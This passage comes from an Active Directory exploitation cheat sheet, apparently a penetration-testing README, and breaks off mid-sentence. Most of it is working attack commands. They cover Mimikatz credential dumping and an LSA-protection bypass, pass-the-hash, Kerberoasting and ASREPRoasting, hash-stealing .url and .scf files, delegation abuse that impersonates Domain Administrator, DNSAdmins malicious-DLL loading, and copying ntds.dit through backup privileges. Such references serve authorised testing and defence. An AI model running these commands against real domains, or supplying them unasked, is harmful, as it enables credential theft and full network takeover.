# Active Directory Exploitation Cheat Sheet This cheat sheet contains common enumeration and attack methods for Windows Active Directory. ℹ️ This repository was created by [Nikos Katsiopis](https://www.linkedin.com/in/nikos-katsiopis/) and [Nikos Vourdas](https://www.linkedin.com/in/nickvourd/). This cheat sheet is inspired by the [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) repo. ![Just Walking The Dog](https://github.com/buftas/Active-Directory-Exploitation-Cheatsheet/blob/master/WalkTheDog.png) ## Summary - [Active Directory Exploitation Cheat Sheet](#active-directory-exploitation-cheat-sheet) - [Summary](#summary) - [Tools](#tools) - [Domain Enumeration](#domain-enumeration) - [Using PowerView](#using-powerview) - [Using AD Module](#using-ad-module) - [Using BloodHound](#using-bloodhound) - [Remote BloodHound](#remote-bloodhound) - [On Site BloodHound](#on-site-bloodhound) - [Using Adalanche](#using-adalanche) - [Remote adalanche](#remote-adalanche) - [Export Enumerated Objects](#export-enumerated-objects) - [Useful Enumeration Tools](#useful-enumeration-tools) - [Local Privilege Escalation](#local-privilege-escalation) - [Useful Local Priv Esc Tools](#useful-local-priv-esc-tools) - [Lateral Movement](#lateral-movement) - [Powershell Remoting](#powershell-remoting) - [Remote Code Execution with PS Credentials](#remote-code-execution-with-ps-credentials) - [Import a PowerShell Module and Execute its Functions Remotely](#import-a-powershell-module-and-execute-its-functions-remotely) - [Executing Remote Stateful commands](#executing-remote-stateful-commands) - [Mimikatz](#mimikatz) - [Remote Desktop Protocol](#remote-desktop-protocol) - [URL File Attacks](#url-file-attacks) - [Useful Tools](#useful-tools) - [Domain Privilege Escalation](#domain-privilege-escalation) - [Kerberoast](#kerberoast) - [ASREPRoast](#asreproast) - [Password Spray Attack](#password-spray-attack) - [Force Set SPN](#force-set-spn) - [Abusing Shadow Copies](#abusing-shadow-copies) - [List and Decrypt Stored Credentials using Mimikatz](#list-and-decrypt-stored-credentials-using-mimikatz) - [Unconstrained Delegation](#unconstrained-delegation) - [Constrained Delegation](#constrained-delegation) - [Resource Based Constrained Delegation](#resource-based-constrained-delegation) - [DNSAdmins Abuse](#dnsadmins-abuse) - [Abusing Active Directory-Integraded DNS](#abusing-active-directory-integraded-dns) - [Abusing Backup Operators Group](#abusing-backup-operators-group) - [Abusing Exchange](#abusing-exchange) - [Weaponizing Printer Bug](#weaponizing-printer-bug) - [Abusing ACLs](#abusing-acls) - [Abusing IPv6 with mitm6](#abusing-ipv6-with-mitm6) - [SID History Abuse](#sid-history-abuse) - [Exploiting SharePoint](#exploiting-sharepoint) - [Zerologon](#zerologon) - [PrintNightmare](#printnightmare) - [Active Directory Certificate Services](#active-directory-certificate-services) - [No PAC](#no-pac) - [Domain Persistence](#domain-persistence) - [Golden Ticket Attack](#golden-ticket-attack) - [DCsync Attack](#dcsync-attack) - [Silver Ticket Attack](#silver-ticket-attack) - [Skeleton Key Attack](#skeleton-key-attack) - [DSRM Abuse](#dsrm-abuse) - [Custom SSP](#custom-ssp) - [Cross Forest Attacks](#cross-forest-attacks) - [Trust Tickets](#trust-tickets) - [Abuse MSSQL Servers](#abuse-mssql-servers) - [Breaking Forest Trusts](#breaking-forest-trusts) ## Tools - [Powersploit](https://github.com/PowerShellMafia/PowerSploit/tree/dev) - [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) - [Powermad](https://github.com/Kevin-Robertson/Powermad) - [Impacket](https://github.com/SecureAuthCorp/impacket) - [Mimikatz](https://github.com/gentilkiwi/mimikatz) - [Rubeus](https://github.com/GhostPack/Rubeus) -> [Compiled Version](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries) - [BloodHound](https://github.com/BloodHoundAD/BloodHound) - [AD Module](https://github.com/samratashok/ADModule) - [ASREPRoast](https://github.com/HarmJ0y/ASREPRoast) - [Adalanche](https://github.com/lkarlslund/adalanche) ## Domain Enumeration ### Using PowerView [Powerview v.3.0](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)
[Powerview Wiki](https://powersploit.readthedocs.io/en/latest/) - **Get Current Domain:** `Get-Domain` - **Enumerate Other Domains:** `Get-Domain -Domain ` - **Get Domain SID:** `Get-DomainSID` - **Get Domain Policy:** ```powershell Get-DomainPolicy #Will show us the policy configurations of the Domain about system access or kerberos Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess Get-DomainPolicy | Select-Object -ExpandProperty KerberosPolicy ``` - **Get Domain Controllers:** ```powershell Get-DomainController Get-DomainController -Domain ``` - **Enumerate Domain Users:** ```powershell #Save all Domain Users to a file Get-DomainUser | Out-File -FilePath .\DomainUsers.txt #Will return specific properties of a specific user Get-DomainUser -Identity [username] -Properties DisplayName, MemberOf | Format-List #Enumerate user logged on a machine Get-NetLoggedon -ComputerName #Enumerate Session Information for a machine Get-NetSession -ComputerName #Enumerate domain machines of the current/specified domain where specific users are logged into Find-DomainUserLocation -Domain | Select-Object UserName, SessionFromName ``` - **Enum Domain Computers:** ```powershell Get-DomainComputer -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName #Enumerate Live machines Get-DomainComputer -Ping -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName ``` - **Enum Groups and Group Members:** ```powershell #Save all Domain Groups to a file: Get-DomainGroup | Out-File -FilePath .\DomainGroup.txt #Return members of Specific Group (eg. Domain Admins & Enterprise Admins) Get-DomainGroup -Identity '' | Select-Object -ExpandProperty Member Get-DomainGroupMember -Identity '' | Select-Object MemberDistinguishedName #Enumerate the local groups on the local (or remote) machine. Requires local admin rights on the remote machine Get-NetLocalGroup | Select-Object GroupName #Enumerates members of a specific local group on the local (or remote) machine. Also requires local admin rights on the remote machine Get-NetLocalGroupMember -GroupName Administrators | Select-Object MemberName, IsGroup, IsDomain #Return all GPOs in a domain that modify local group memberships through Restricted Groups or Group Policy Preferences Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName ``` - **Enumerate Shares:** ```powershell #Enumerate Domain Shares Find-DomainShare #Enumerate Domain Shares the current user has access Find-DomainShare -CheckShareAccess #Enumerate "Interesting" Files on accessible shares Find-InterestingDomainShareFile -Include *passwords* ``` - **Enum Group Policies:** ```powershell Get-DomainGPO -Properties DisplayName | Sort-Object -Property DisplayName #Enumerate all GPOs to a specific computer Get-DomainGPO -ComputerIdentity -Properties DisplayName | Sort-Object -Property DisplayName #Get users that are part of a Machine's local Admin group Get-DomainGPOComputerLocalGroupMapping -ComputerName ``` - **Enum OUs:** ```powershell Get-DomainOU -Properties Name | Sort-Object -Property Name ``` - **Enum ACLs:** ```powershell # Returns the ACLs associated with the specified account Get-DomainObjectAcl -Identity -ResolveGUIDs #Search for interesting ACEs Find-InterestingDomainAcl -ResolveGUIDs #Check the ACLs associated with a specified path (e.g smb share) Get-PathAcl -Path "\\Path\Of\A\Share" ``` - **Enum Domain Trust:** ```powershell Get-DomainTrust Get-DomainTrust -Domain #Enumerate all trusts for the current domain and then enumerates all trusts for each domain it finds Get-DomainTrustMapping ``` - **Enum Forest Trust:** ```powershell Get-ForestDomain Get-ForestDomain -Forest #Map the Trust of the Forest Get-ForestTrust Get-ForestTrust -Forest ``` - **User Hunting:** ```powershell #Finds all machines on the current domain where the current user has local admin access Find-LocalAdminAccess -Verbose #Find local admins on all machines of the domain Find-DomainLocalGroupMember -Verbose #Find computers were a Domain Admin OR a specified user has a session Find-DomainUserLocation | Select-Object UserName, SessionFromName #Confirming admin access Test-AdminAccess ``` :heavy_exclamation_mark: **Priv Esc to Domain Admin with User Hunting:** \ I have local admin access on a machine -> A Domain Admin has a session on that machine -> I steal his token and impersonate him -> Profit! ### Using AD Module - **Get Current Domain:** `Get-ADDomain` - **Enum Other Domains:** `Get-ADDomain -Identity ` - **Get Domain SID:** `Get-DomainSID` - **Get Domain Controlers:** ```powershell Get-ADDomainController Get-ADDomainController -Identity ``` - **Enumerate Domain Users:** ```powershell Get-ADUser -Filter * -Identity -Properties * #Get a specific "string" on a user's attribute Get-ADUser -Filter 'Description -like "*wtver*"' -Properties Description | select Name, Description ``` - **Enum Domain Computers:** ```powershell Get-ADComputer -Filter * -Properties * Get-ADGroup -Filter * ``` - **Enum Domain Trust:** ```powershell Get-ADTrust -Filter * Get-ADTrust -Identity ``` - **Enum Forest Trust:** ```powershell Get-ADForest Get-ADForest -Identity #Domains of Forest Enumeration (Get-ADForest).Domains ``` - **Enum Local AppLocker Effective Policy:** ```powershell Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections ``` ### Using BloodHound #### Remote BloodHound [Python BloodHound Repository](https://github.com/fox-it/BloodHound.py) or install it with `pip3 install bloodhound` ```powershell bloodhound-python -u -p -ns -d -c All ``` #### On Site BloodHound ```powershell #Using exe ingestor .\SharpHound.exe --CollectionMethod All --LdapUsername --LdapPassword --domain --domaincontroller --OutputDirectory #Using PowerShell module ingestor . .\SharpHound.ps1 Invoke-BloodHound -CollectionMethod All --LdapUsername --LdapPassword --OutputDirectory ``` ### Using Adalanche #### Remote Adalanche ```bash # kali linux: ./adalanche collect activedirectory --domain \ --username --password \ --server # Example: ./adalanche collect activedirectory --domain windcorp.local \ --username spoNge369@windcorp.local --password 'password123!' \ --server dc.windcorp.htb ## -> Terminating successfully ## Any error?: # LDAP Result Code 200 "Network Error": x509: certificate signed by unknown authority ? ./adalanche collect activedirectory --domain windcorp.local \ --username spoNge369@windcorp.local --password 'password123!' \ --server dc.windcorp.htb --tlsmode NoTLS --port 389 # Invalid Credentials ? ./adalanche collect activedirectory --domain windcorp.local \ --username spoNge369@windcorp.local --password 'password123!' \ --server dc.windcorp.htb --tlsmode NoTLS --port 389 \ --authmode basic # Analyze data # go to web browser -> 127.0.0.1:8080 ./adalanche analyze ``` #### Export Enumerated Objects You can export enumerated objects from any module/cmdlet into an XML file for later ananlysis. The `Export-Clixml` cmdlet creates a Common Language Infrastructure (CLI) XML-based representation of an object or objects and stores it in a file. You can then use the `Import-Clixml` cmdlet to recreate the saved object based on the contents of that file. ```powershell # Export Domain users to xml file. Get-DomainUser | Export-CliXml .\DomainUsers.xml # Later, when you want to utilise them for analysis even on any other machine. $DomainUsers = Import-CliXml .\DomainUsers.xml # You can now apply any condition, filters, etc. $DomainUsers | select name $DomainUsers | ? {$_.name -match "User's Name"} ``` ### Useful Enumeration Tools - [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) Information dumper via LDAP - [adidnsdump](https://github.com/dirkjanm/adidnsdump) Integrated DNS dumping by any authenticated user - [ACLight](https://github.com/cyberark/ACLight) Advanced Discovery of Privileged Accounts - [ADRecon](https://github.com/sense-of-security/ADRecon) Detailed Active Directory Recon Tool ## Local Privilege Escalation - [Windows Local Privilege Escalation Cookbook](https://github.com/nickvourd/Windows-Local-Privilege-Escalation-Cookbook) Cookbook for Windows Local Privilege Escalations - [Juicy Potato](https://github.com/ohpe/juicy-potato) Abuse SeImpersonate or SeAssignPrimaryToken Privileges for System Impersonation :warning: Works only until Windows Server 2016 and Windows 10 until patch 1803 - [Lovely Potato](https://github.com/TsukiCTF/Lovely-Potato) Automated Juicy Potato :warning: Works only until Windows Server 2016 and Windows 10 until patch 1803 - [PrintSpoofer](https://github.com/itm4n/PrintSpoofer) Exploit the PrinterBug for System Impersonation :pray: Works for Windows Server 2019 and Windows 10 - [RoguePotato](https://github.com/antonioCoco/RoguePotato) Upgraded Juicy Potato :pray: Works for Windows Server 2019 and Windows 10 - [Abusing Token Privileges](https://foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-escalation/) - [SMBGhost CVE-2020-0796](https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/) \ [PoC](https://github.com/danigargu/CVE-2020-0796) - [CVE-2021-36934 (HiveNightmare/SeriousSAM)](https://github.com/cube0x0/CVE-2021-36934) ### Useful Local Priv Esc Tools - [PowerUp](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Privesc/PowerUp.ps1) Misconfiguration Abuse - [BeRoot](https://github.com/AlessandroZ/BeRoot) General Priv Esc Enumeration Tool - [Privesc](https://github.com/enjoiz/Privesc) General Priv Esc Enumeration Tool - [FullPowers](https://github.com/itm4n/FullPowers) Restore A Service Account's Privileges ## Lateral Movement ### PowerShell Remoting ```powershell #Enable PowerShell Remoting on current Machine (Needs Admin Access) Enable-PSRemoting #Entering or Starting a new PSSession (Needs Admin Access) $sess = New-PSSession -ComputerName Enter-PSSession -ComputerName OR -Sessions ``` ### Remote Code Execution with PS Credentials ```powershell $SecPassword = ConvertTo-SecureString '' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('htb.local\', $SecPassword) Invoke-Command -ComputerName -Credential $Cred -ScriptBlock {whoami} ``` ### Import a PowerShell Module and Execute its Functions Remotely ```powershell #Execute the command and start a session Invoke-Command -Credential $cred -ComputerName -FilePath c:\FilePath\file.ps1 -Session $sess #Interact with the session Enter-PSSession -Session $sess ``` ### Executing Remote Stateful commands ```powershell #Create a new session $sess = New-PSSession -ComputerName #Execute command on the session Invoke-Command -Session $sess -ScriptBlock {$ps = Get-Process} #Check the result of the command to confirm we have an interactive session Invoke-Command -Session $sess -ScriptBlock {$ps} ``` ### Mimikatz ```powershell #The commands are in cobalt strike format! #Dump LSASS: mimikatz privilege::debug mimikatz token::elevate mimikatz sekurlsa::logonpasswords #(Over) Pass The Hash mimikatz privilege::debug mimikatz sekurlsa::pth /user: /ntlm:<> /domain: #List all available kerberos tickets in memory mimikatz sekurlsa::tickets #Dump local Terminal Services credentials mimikatz sekurlsa::tspkg #Dump and save LSASS in a file mimikatz sekurlsa::minidump c:\temp\lsass.dmp #List cached MasterKeys mimikatz sekurlsa::dpapi #List local Kerberos AES Keys mimikatz sekurlsa::ekeys #Dump SAM Database mimikatz lsadump::sam #Dump SECRETS Database mimikatz lsadump::secrets #Inject and dump the Domain Controler's Credentials mimikatz privilege::debug mimikatz token::elevate mimikatz lsadump::lsa /inject #Dump the Domain's Credentials without touching DC's LSASS and also remotely mimikatz lsadump::dcsync /domain: /all #Dump old passwords and NTLM hashes of a user mimikatz lsadump::dcsync /user:\ /history #List and Dump local kerberos credentials mimikatz kerberos::list /dump #Pass The Ticket mimikatz kerberos::ptt #List TS/RDP sessions mimikatz ts::sessions #List Vault credentials mimikatz vault::list ``` :exclamation: What if mimikatz fails to dump credentials because of LSA Protection controls ? - LSA as a Protected Process (Kernel Land Bypass) ```powershell #Check if LSA runs as a protected process by looking if the variable "RunAsPPL" is set to 0x1 reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa #Next upload the mimidriver.sys from the official mimikatz repo to same folder of your mimikatz.exe #Now lets import the mimidriver.sys to the system mimikatz # !+ #Now lets remove the protection flags from lsass.exe process mimikatz # !processprotect /process:lsass.exe /remove #Finally run the logonpasswords function to dump lsass mimikatz # sekurlsa::logonpasswords ``` - LSA as a Protected Process (Userland "Fileless" Bypass) - [PPLdump](https://github.com/itm4n/PPLdump) - [Bypassing LSA Protection in Userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland) - LSA is running as virtualized process (LSAISO) by Credential Guard ```powershell #Check if a process called lsaiso.exe exists on the running processes tasklist |findstr lsaiso #If it does there isn't a way tou dump lsass, we will only get encrypted data. But we can still use keyloggers or clipboard dumpers to capture data. #Lets inject our own malicious Security Support Provider into memory, for this example i'll use the one mimikatz provides mimikatz # misc::memssp #Now every user session and authentication into this machine will get logged and plaintext credentials will get captured and dumped into c:\windows\system32\mimilsa.log ``` - [Detailed Mimikatz Guide](https://adsecurity.org/?page_id=1821) - [Poking Around With 2 lsass Protection Options](https://medium.com/red-teaming-with-a-blue-team-mentaility/poking-around-with-2-lsass-protection-options-880590a72b1a) ### Remote Desktop Protocol If the host we want to lateral move to has "RestrictedAdmin" enabled, we can pass the hash using the RDP protocol and get an interactive session without the plaintext password. - Mimikatz: ```powershell #We execute pass-the-hash using mimikatz and spawn an instance of mstsc.exe with the "/restrictedadmin" flag privilege::debug sekurlsa::pth /user: /domain: /ntlm: /run:"mstsc.exe /restrictedadmin" #Then just click ok on the RDP dialogue and enjoy an interactive session as the user we impersonated ``` - xFreeRDP: ```powershell xfreerdp +compression +clipboard /dynamic-resolution +toggle-fullscreen /cert-ignore /bpp:8 /u: /pth: /v: ``` :exclamation: If Restricted Admin mode is disabled on the remote machine we can connect on the host using another tool/protocol like psexec or winrm and enable it by creating the following registry key and setting it's value zero: "HKLM:\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin". - Bypass "Single Session per User" Restriction On a domain computer, if you have command execution as the system or local administrator and want an RDP session that another user is already using, you can get around the single session restriction by adding the following registry key: ```powershell REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUser /t REG_DWORD /d 0 ``` Once you've completed the desired stuff, you can delete the key to reinstate the single-session-per-user restriction. ```powershell REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUse ``` ### URL File Attacks - .url file ``` [InternetShortcut] URL=whatever WorkingDirectory=whatever IconFile=\\\%USERNAME%.icon IconIndex=1 ``` ``` [InternetShortcut] URL=file:///leak/leak.html ``` - .scf file ``` [Shell] Command=2 IconFile=\\\Share\test.ico [Taskbar] Command=ToggleDesktop ``` Putting these files in a writeable share the victim only has to open the file explorer and navigate to the share. **Note** that the file doesn't need to be opened or the user to interact with it, but it must be on the top of the file system or just visible in the windows explorer window in order to be rendered. Use responder to capture the hashes. :exclamation: .scf file attacks won't work on the latest versions of Windows. ### Useful Tools - [Powercat](https://github.com/besimorhino/powercat) netcat written in powershell, and provides tunneling, relay and portforward capabilities. - [SCShell](https://github.com/Mr-Un1k0d3r/SCShell) fileless lateral movement tool that relies on ChangeServiceConfigA to run command - [Evil-Winrm](https://github.com/Hackplayers/evil-winrm) the ultimate WinRM shell for hacking/pentesting - [RunasCs](https://github.com/antonioCoco/RunasCs) Csharp and open version of windows builtin runas.exe - [ntlm_theft](https://github.com/Greenwolf/ntlm_theft.git) creates all possible file formats for url file attacks ## Domain Privilege Escalation ### Kerberoast _WUT IS DIS?:_ \ All standard domain users can request a copy of all service accounts along with their correlating password hashes, so we can ask a TGS for any SPN that is bound to a "user" account, extract the encrypted blob that was encrypted using the user's password and bruteforce it offline. - PowerView: ```powershell #Get User Accounts that are used as Service Accounts Get-NetUser -SPN #Get every available SPN account, request a TGS and dump its hash Invoke-Kerberoast #Requesting the TGS for a single account: Request-SPNTicket #Export all tickets using Mimikatz Invoke-Mimikatz -Command '"kerberos::list /export"' ``` - AD Module: ```powershell #Get User Accounts that are used as Service Accounts Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName ``` - Impacket: ```powershell python GetUserSPNs.py /: -outputfile ``` - Rubeus: ```powershell #Kerberoasting and outputing on a file with a specific format Rubeus.exe kerberoast /outfile: /domain: #Kerberoasting whle being "OPSEC" safe, essentially while not try to roast AES enabled accounts Rubeus.exe kerberoast /outfile: /domain: /rc4opsec #Kerberoast AES enabled accounts Rubeus.exe kerberoast /outfile: /domain: /aes #Kerberoast specific user account Rubeus.exe kerberoast /outfile: /domain: /user: /simple #Kerberoast by specifying the authentication credentials Rubeus.exe kerberoast /outfile: /domain: /creduser: /credpassword: ``` ### ASREPRoast _WUT IS DIS?:_ \ If a domain user account do not require kerberos preauthentication, we can request a valid TGT for this account without even having domain credentials, extract the encrypted blob and bruteforce it offline. - PowerView: `Get-DomainUser -PreauthNotRequired -Verbose` - AD Module: `Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth` Forcefully Disable Kerberos Preauth on an account i have Write Permissions or more! Check for interesting permissions on accounts: **Hint:** We add a filter e.g. RDPUsers to get "User Accounts" not Machine Accounts, because Machine Account hashes are not crackable! PowerView: ```powershell Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"} Disable Kerberos Preauth: Set-DomainObject -Identity -XOR @{useraccountcontrol=4194304} -Verbose Check if the value changed: Get-DomainUser -PreauthNotRequired -Verbose ``` - And finally execute the attack using the [ASREPRoast](https://github.com/HarmJ0y/ASREPRoast) tool. ```powershell #Get a specific Accounts hash: Get-ASREPHash -UserName -Verbose #Get any ASREPRoastable Users hashes: Invoke-ASREPRoast -Verbose ``` - Using Rubeus: ```powershell #Trying the attack for all domain users Rubeus.exe asreproast /format: /domain: /outfile: #ASREPRoast specific user Rubeus.exe asreproast /user: /format: /domain: /outfile: #ASREPRoast users of a specific OU (Organization Unit) Rubeus.exe asreproast /ou: /format: /domain: /outfile: ``` - Using Impacket: ```powershell #Trying the attack for the specified users on the file python GetNPUsers.py / -usersfile -outputfile ``` ### Password Spray Attack If we have harvest some passwords by compromising a user account, we can use this method to try and exploit password reuse on other domain accounts. **Tools:** - [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) - [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec) - [Invoke-CleverSpray](https://github.com/wavestone-cdt/Invoke-CleverSpray) - [Spray](https://github.com/Greenwolf/Spray) ### Force Set SPN _WUT IS DIS ?: If we have enough permissions -> GenericAll/GenericWrite we can set a SPN on a target account, request a TGS, then grab its blob and bruteforce it._ - PowerView: ```powershell #Check for interesting permissions on accounts: Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"} #Check if current user has already an SPN setted: Get-DomainUser -Identity | select serviceprincipalname #Force set the SPN on the account: Set-DomainObject -Set @{serviceprincipalname='ops/whatever1'} ``` - AD Module: ```powershell #Check if current user has already an SPN setted Get-ADUser -Identity -Properties ServicePrincipalName | select ServicePrincipalName #Force set the SPN on the account: Set-ADUser -Identiny -ServicePrincipalNames @{Add='ops/whatever1'} ``` Finally use any tool from before to grab the hash and kerberoast it! ### Abusing Shadow Copies If you have local administrator access on a machine try to list shadow copies, it's an easy way for Domain Escalation. ```powershell #List shadow copies using vssadmin (Needs Admnistrator Access) vssadmin list shadows #List shadow copies using diskshadow diskshadow list shadows all #Make a symlink to the shadow copy and access it mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\ ``` 1. You can dump the backuped SAM database and harvest credentials. 2. Look for DPAPI stored creds and decrypt them. 3. Access backuped sensitive files. ### List and Decrypt Stored Credentials using Mimikatz Usually encrypted credentials are stored in: - `%appdata%\Microsoft\Credentials` - `%localappdata%\Microsoft\Credentials` ```powershell #By using the cred function of mimikatz we can enumerate the cred object and get information about it: dpapi::cred /in:"%appdata%\Microsoft\Credentials\" #From the previous command we are interested to the "guidMasterKey" parameter, that tells us which masterkey was used to encrypt the credential #Lets enumerate the Master Key: dpapi::masterkey /in:"%appdata%\Microsoft\Protect\\" #Now if we are on the context of the user (or system) that the credential belogs to, we can use the /rpc flag to pass the decryption of the masterkey to the domain controler: dpapi::masterkey /in:"%appdata%\Microsoft\Protect\\" /rpc #We now have the masterkey in our local cache: dpapi::cache #Finally we can decrypt the credential using the cached masterkey: dpapi::cred /in:"%appdata%\Microsoft\Credentials\" ``` Detailed Article: [DPAPI all the things](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials) ### Unconstrained Delegation _WUT IS DIS ?: If we have Administrative access on a machine that has Unconstrained Delegation enabled, we can wait for a high value target or DA to connect to it, steal his TGT then ptt and impersonate him!_ Using PowerView: ```powershell #Discover domain joined computers that have Unconstrained Delegation enabled Get-NetComputer -UnConstrained #List tickets and check if a DA or some High Value target has stored its TGT Invoke-Mimikatz -Command '"sekurlsa::tickets"' #Command to monitor any incoming sessions on our compromised server Invoke-UserHunter -ComputerName -Poll -UserName -Delay -Verbose #Dump the tickets to disk: Invoke-Mimikatz -Command '"sekurlsa::tickets /export"' #Impersonate the user using ptt attack: Invoke-Mimikatz -Command '"kerberos::ptt "' ``` **Note:** We can also use Rubeus! ### Constrained Delegation Using PowerView and Kekeo: ```powershell #Enumerate Users and Computers with constrained delegation Get-DomainUser -TrustedToAuth Get-DomainComputer -TrustedToAuth #If we have a user that has Constrained delegation, we ask for a valid tgt of this user using kekeo tgt::ask /user: /domain: /rc4: #Then using the TGT we have ask a TGS for a Service this user has Access to through constrained delegation tgs::s4u /tgt: /user:@ /service: #Finally use mimikatz to ptt the TGS Invoke-Mimikatz -Command '"kerberos::ptt "' ``` _ALTERNATIVE:_ Using Rubeus: ```powershell Rubeus.exe s4u /user: /rc4: /impersonateuser: /msdsspn:"" /altservice: /ptt ``` Now we can access the service as the impersonated user! :triangular_flag_on_post: **What if we have delegation rights for only a specific SPN? (e.g TIME):** In this case we can still abuse a feature of kerberos called "alternative service". This allows us to request TGS tickets for other "alternative" services and not only for the one we have rights for. Thats gives us the leverage to request valid tickets for any service we want that the host supports, giving us full access over the target machine. ### Resource Based Constrained Delegation _WUT IS DIS?: \ TL;DR \ If we have GenericALL/GenericWrite privileges on a machine account object of a domain, we can abuse it and impersonate ourselves as any user of the domain to it. For example we can impersonate Domain Administrator and have complete access._ Tools we are going to use: - [PowerView](https://github.com/PowerShellMafia/PowerSploit/tree/dev/Recon) - [Powermad](https://github.com/Kevin-Robertson/Powermad) - [Rubeus](https://github.com/GhostPack/Rubeus) First we need to enter the security context of the user/machine account that has the privileges over the object. If it is a user account we can use Pass the Hash, RDP, PSCredentials etc. Exploitation Example: ```powershell #Import Powermad and use it to create a new MACHINE ACCOUNT . .\Powermad.ps1 New-MachineAccount -MachineAccount -Password $(ConvertTo-SecureString 'p@ssword!' -AsPlainText -Force) -Verbose #Import PowerView and get the SID of our new created machine account . .\PowerView.ps1 $ComputerSid = Get-DomainComputer -Properties objectsid | Select -Expand objectsid #Then by using the SID we are going to build an ACE for the new created machine account using a raw security descriptor: $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) #Next, we need to set the security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the computer account we're taking over, again using PowerView Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose #After that we need to get the RC4 hash of the new machine account's password using Rubeus Rubeus.exe hash /password:'p@ssword!' #And for this example, we are going to impersonate Domain Administrator on the cifs service of the target computer using Rubeus Rubeus.exe s4u /user: /rc4: /impersonateuser:Administrator /msdsspn:cifs/TargetMachine.wtver.domain /domain:wtver.domain /ptt #Finally we can access the C$ drive of the target machine dir \\TargetMachine.wtver.domain\C$ ``` Detailed Articles: - [Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html) - [RESOURCE-BASED CONSTRAINED DELEGATION ABUSE](https://blog.stealthbits.com/resource-based-constrained-delegation-abuse/) :exclamation: In Constrain and Resource-Based Constrained Delegation if we don't have the password/hash of the account with TRUSTED_TO_AUTH_FOR_DELEGATION that we try to abuse, we can use the very nice trick "tgt::deleg" from kekeo or "tgtdeleg" from rubeus and fool Kerberos to give us a valid TGT for that account. Then we just use the ticket instead of the hash of the account to perform the attack. ```powershell #Command on Rubeus Rubeus.exe tgtdeleg /nowrap ``` Detailed Article: [Rubeus – Now With More Kekeo](https://www.harmj0y.net/blog/redteaming/rubeus-now-with-more-kekeo/) ### DNSAdmins Abuse _WUT IS DIS ?: If a user is a member of the DNSAdmins group, he can possibly load an arbitary DLL with the privileges of dns.exe that runs as SYSTEM. In case the DC serves a DNS, the user can escalate his privileges to DA. This exploitation process needs privileges to restart the DNS service to work._ 1. Enumerate the members of the DNSAdmins group: - PowerView: `Get-NetGroupMember -GroupName "DNSAdmins"` - AD Module: `Get-ADGroupMember -Identiny DNSAdmins` 2. Once we found a member of this group we need to compromise it (There are many ways). 3. Then by serving a malicious DLL on a SMB share and configuring the dll usage,we can escalate our privileges: ```powershell #Using dnscmd: dnscmd /config /serverlevelplugindll \\Path\To\Our\Dll\malicious.dll #Restart the DNS Service: sc \\DNSServer stop dns sc \\DNSServer start dns ``` ### Abusing Active Directory-Integraded DNS - [Exploiting Active Directory-Integrated DNS](https://blog.netspi.com/exploiting-adidns/) - [ADIDNS Revisited](https://blog.netspi.com/adidns-revisited/) - [Inveigh](https://github.com/Kevin-Robertson/Inveigh) ### Abusing Backup Operators Group _WUT IS DIS ?: If we manage to compromise a user account that is member of the Backup Operators group, we can then abuse it's SeBackupPrivilege to create a shadow copy of the current state of the DC, extract the ntds.dit database file, dump the hashes and escalate our privileges to DA._ 1. Once we have access on an account that has the SeBackupPrivilege we can access the DC and create a shadow copy using the signed binary diskshadow: ```powershell #Create a .txt file that will contain the shadow copy process script Script ->{ set context persistent nowriters set metadata c:\windows\system32\spool\drivers\color\example.cab set verbose on begin backup add volume c: alias mydrive create expose %mydrive% w: end backup } #Execute diskshadow with our script as parameter diskshadow /s script.txt ``` 2. Next we need to access the shadow copy, we may have the SeBackupPrivilege but we cant just simply copy-paste ntds.dit, we need to mimic a backup software and use Win32 API calls to copy it on an accessible folder. For this we are going to use [this](https://github.com/giuliano108/SeBackupPrivilege) amazing repo: ```powershell #Importing both dlls from the repo using powershell Import-Module .\SeBackupPrivilegeCmdLets.dll Import-Module .\SeBackupPrivilegeUtils.dll #Checking if the SeBackupPrivilege is enabled Get-SeBackupPrivilege #If it isn't we enable it Set-SeBackupPrivilege #Use the functionality of the dlls to copy the ntds.dit database file from the shadow copy to a location of our choice Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:\\ntds.dit -Overwrite #Dump the SYSTEM hive reg save HKLM\SYSTEM c:\temp\system.hive ``` 3. Using 